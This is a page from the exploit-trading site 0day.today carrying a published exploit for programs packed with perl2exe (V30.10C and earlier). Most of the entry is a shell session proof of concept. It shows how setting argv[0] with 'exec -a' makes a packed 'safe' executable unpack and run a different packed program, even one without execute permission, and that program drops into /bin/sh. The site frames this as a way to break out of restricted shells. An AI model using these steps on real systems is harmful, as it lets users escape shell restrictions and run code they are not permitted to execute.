0day.today - 最大、世界でのデータベースを利用します。
- 私たちは一つのメインのドメインを使用します。http://0day.today
- 材料のほとんどは 完全に無料
- あなたがしたい場合は エクスプロイトを購入 / V.I.P.を取得アクセス または任意の他のサービスのために支払います、
あなたが購入したり、獲得する必要があります
金
ログイン このサイトの管理者が使用しています公式の連絡先.詐欺師にご注意！
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
お問い合わせ
次の方法でご連絡することができます:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ubuntu 22.04 perl2exe < V30.10C - Arbitrary Code Execution Vulnerability
[# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
# Exploit Author: decrazyo
# Vendor Homepage: https://www.indigostar.com/
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
# Version: <= V30.10C
# Tested on: Ubuntu 22.04
# Description:
perl2exe packs perl scripts into native executables.
Those executables use their 0th argument to locate a file to unpack and execute.
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
That can be useful for breaking out of restricted shell environments.
# Proof and Concept:
user@testing:~/example$ ls
p2x-30.10-Linux-x64-5.30.1.tar.gz perl2exe-Linux-x64-5.30.1
user@testing:~/example$
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating safe
user@testing:~/example$
user@testing:~/example$ # Check that the program executes as expected.
user@testing:~/example$ ./safe
I am completely safe
user@testing:~/example$
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating malicious
user@testing:~/example$
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
user@testing:~/example$ chmod -x malicious
user@testing:~/example$ ./malicious
-bash: ./malicious: Permission denied
user@testing:~/example$
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
j/k I am malicious AF
$ pstree -s $$
systemd───sshd───sshd───sshd───bash───safe───sh───pstree
$
# 0day.today [2024-07-04] #